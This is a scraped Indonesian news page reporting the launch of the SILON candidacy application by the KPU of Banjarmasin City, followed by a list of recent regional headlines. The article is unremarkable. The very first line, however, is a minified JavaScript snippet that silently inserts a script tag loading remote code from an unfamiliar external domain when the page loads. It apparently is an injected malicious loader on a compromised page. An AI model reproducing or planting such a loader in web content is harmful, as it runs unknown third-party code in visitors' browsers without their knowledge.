(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

KPU Kota Banjarmasin Luncurkan Aplikasi Silon, Permudah Calon Jalur Perseorangan


BANJARMASIN, KPU Kota Banjarmasin secara resmi memperkenalkan aplikasi SILON, atau Sistem Informasi Pencalonan di Banjarmasin pada Rabu (11/12) pagi. Aplkasi ini diluncurkan, untuk mempermudah kinerja dalam Pilkada serentak September 2020 mendatang.

Ketua KPU Kota Banjarmasin Gusti Makmur membeberkan, aplikasi SILON ini sangat membantu bagi calon walikota dan wakil walikota jalur perseorangan. Jadi, tidak hanya melampirkan fotokopi KTP sebagai bukti dukungan, namun juga harus memasukkan datanya ke komputer. “Jadi saat kami verifikasi data, bisa memudahkan kami dalam data pencalonan,” kata Gusti Makmur, Rabu (11/12) siang.

Gusti Makmur kembali menegaskan, untuk bisa maju melalui jalur perseorangan minimal harus memiliki 38 ribu dukungan yang dilampirkan bersama formulir B1-KWK. Tidak hanya itu, Gusti Makmur menjelaskan, harus ada pemetaan berdasarkan tempat tinggalnya. “Misalnya RT 1, kelurahan mana dan kecmatan mana. Itu wajib dipilih. Jangan sampai data itu tidak teratur, jadi memudahkan calon itu ketika mereka mengajukan berkas formulir,” jelas Makmur.

Diharapkan, aplikasi SILON tidak akan terjadi potensi KTP ganda. Karena, jika tim calon jalur perseorangan menginput datanya ke aplikasi SILON, otomatis dapat terdeteksi jika adanya identitas ganda. “Makanya nanti akan diajarkan oleh kawan-kawan KPU tentang cara memasukkan data itu ke computer,” paparnya.

Lalu, bagaimana jika ada data yang ganda? “Otomatis akan tertolak datanya, karena identitasnya sama. Dan nantinya akan digantikan dengan KTP baru,” sebut Gusti Makmur. Artinya, pihak KPU Banjarmasin memberikan waktu perbaikan data.

Ketika nantinya calon jalur perseorangan menyerahkan data sebanyak 38 ribu dukungan dan ada data yang terduplikat, maka calon jalur perseorangan harus menyiapkan pengganti data sebanyak 2 kali lipat. “Misalnya ada 100 dukungan yang terduplikat, maka mereka harus menyiapkan 200 data,” katanya.

Nantinya, pendaftaran jalur perseorangan di Pilwali Banjarmasin dimulai dari 16 Juni hingga 18 Juli 2020 mendatang. Sehingga, masih banyak waktu bagi calon jalur perseorangan untuk mengumpulkan dukungan berupa formulir B1-KWK. “Kami sudah menerima masyarakat yang ingin maju perseorangan, makanya kami membuka informasi seluas-luasnya kepada masyarakat,” katanya. (fikri)

Reporter : Fikri
Editor : Chell

 


Desy Arfianty

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

14 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

15 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

15 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

16 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

17 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

22 jam ago

This website uses cookies.